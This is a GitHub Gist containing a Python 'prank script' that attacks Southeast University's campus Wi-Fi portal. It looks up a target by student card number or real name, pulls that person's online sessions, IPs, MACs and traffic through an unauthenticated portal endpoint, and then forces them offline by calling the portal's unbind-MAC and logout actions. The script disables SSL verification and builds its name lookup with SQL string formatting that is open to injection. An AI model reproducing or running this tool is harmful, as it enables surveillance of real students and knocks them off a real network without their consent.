Created
October 30, 2021 10:03
-
-
Save higuoxing/8e603de3654de285210045f4b35e5130 to your computer and use it in GitHub Desktop.
一个恶作剧脚本
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
## Usage: | |
## 1. 查看某个一卡通登录信息. | |
## $ seu-fuckoff.py -u <一卡通> | |
## 2. 将某个一卡通对应的终端踢下线. | |
## $ seu-fuckoff.py -f -u <一卡通> | |
import argparse | |
import requests | |
import json | |
## Disable SSL verification warnings. | |
from urllib3.exceptions import InsecureRequestWarning | |
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) | |
parser = argparse.ArgumentParser(description='F**k sb off from seu-wlan.') | |
parser.add_argument("-f", "--fuck", action="store_true") | |
parser.add_argument("-u", "--username") | |
parser.add_argument("-n", "--name") | |
args = parser.parse_args() | |
TIMEOUT = 10 | |
BASE_URLS = [ | |
["http://10.80.128.2:801/eportal", "#1"], | |
["https://w.seu.edu.cn:801/eportal", "#2"], | |
] | |
def query_user_info(BASE_URL, username): | |
params = { | |
"c": "Portal", | |
"a": "online_list", | |
"user_account": username, | |
} | |
r = requests.get(url=BASE_URL, params=params, verify=False, timeout=TIMEOUT) | |
return json.loads(r.text[1:-1]) | |
def fuck_user1(BASE_URL, username, ip, mac): | |
params = { | |
"c": "Portal", | |
"a": "unbind_mac", | |
"login_method": "1", | |
"user_account": username, | |
"wlan_user_ip": ip, | |
"wlan_user_mac": mac, | |
"jsVersion": "3.3", | |
"v": "4026", | |
} | |
r = requests.get(url=BASE_URL, params=params, verify=False, timeout=TIMEOUT) | |
return json.loads(r.text[1:-1]) | |
def fuck_user2(BASE_URL, ip, mac): | |
params = { | |
"c": "Portal", | |
"a": "logout", | |
"login_method": "1", | |
"user_account": "drcom", | |
"user_password": "123", | |
"wlan_user_ip": ip, | |
"wlan_user_mac": mac, | |
"ac_logout": "1", | |
"register_mode": "1", | |
"wlan_user_ipv6": "", | |
"wlan_vlan_id": "1", | |
"wlan_ac_ip": "", | |
"wlan_ac_name": "", | |
"jsVersion": "3.3", | |
"v": "5225", | |
} | |
r = requests.get(url=BASE_URL, params=params, verify=False, timeout=TIMEOUT) | |
return json.loads(r.text[1:-1]) | |
def check_user_info(user_info): | |
return user_info["result"] != '0' | |
def print_user_info(BASE_URL, username, user_info): | |
if not check_user_info(user_info): | |
print(" 无法找到 {} 的在线信息: {}".format(username, user_info['msg'])) | |
print("") | |
return | |
print(" 用户 {} 的在线信息:".format(username)) | |
print("") | |
for i, session in enumerate(user_info['list']): | |
if i != 0: | |
print(" -----------------------------") | |
print(" Session: #{}".format(i)) | |
print(" 上线时间: {}".format(session['online_time'])) | |
print(" 在线 IP : {}".format(session['online_ip'])) | |
print(" 在线 MAC: {}".format(session['online_mac'])) | |
print(" 上行数据: {} bytes".format(session['uplink_bytes'])) | |
print(" 下载数据: {} bytes".format(session['downlink_bytes'])) | |
print("") | |
def fuck_user(BASE_URL, username, user_info): | |
if not check_user_info(user_info): | |
return | |
print("") | |
for i, session in enumerate(user_info['list']): | |
if i != 0: | |
print(" -----------------------------") | |
print(" F**king Session: #{}\tIP: {}\tMAC: {}".format(i, session['online_ip'], session['online_mac'])) | |
print(" 强制下线 ...") | |
status1 = fuck_user1(BASE_URL, username, session['online_ip'], session['online_mac']) | |
print(" {}".format(status1['msg'])) | |
print(" 解绑 MAC ...") | |
status2 = fuck_user2(BASE_URL, session['online_ip'], session['online_mac']) | |
print(" {}".format(status2['msg'])) | |
print("") | |
def get_usernames_by_name(name): | |
import sqlite3 | |
conn = sqlite3.connect("data.db") | |
cur = conn.cursor() | |
pairs = cur.execute("SELECT * FROM user WHERE realname='{}'".format(name)) | |
result = [] | |
for row in pairs: | |
result.append(row[0]) | |
conn.close() | |
return result | |
if __name__ == "__main__": | |
if args.username == None and args.name == None: | |
parser.print_help() | |
exit(1) | |
usernames = [] | |
if args.username: | |
usernames.append(args.username) | |
else: | |
usernames += get_usernames_by_name(args.name) | |
for j, username in enumerate(usernames): | |
print("Username #{} : {}".format(j, username)) | |
print("-------------------------------------------") | |
for BASE_URL, Location in BASE_URLS: | |
try: | |
print(" Portal {} : {}".format(Location, BASE_URL)) | |
user_info = query_user_info(BASE_URL, username) | |
print_user_info(BASE_URL, username, user_info) | |
if args.fuck: | |
fuck_user(BASE_URL, username, user_info) | |
except Exception as e: | |
print(str(e)) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment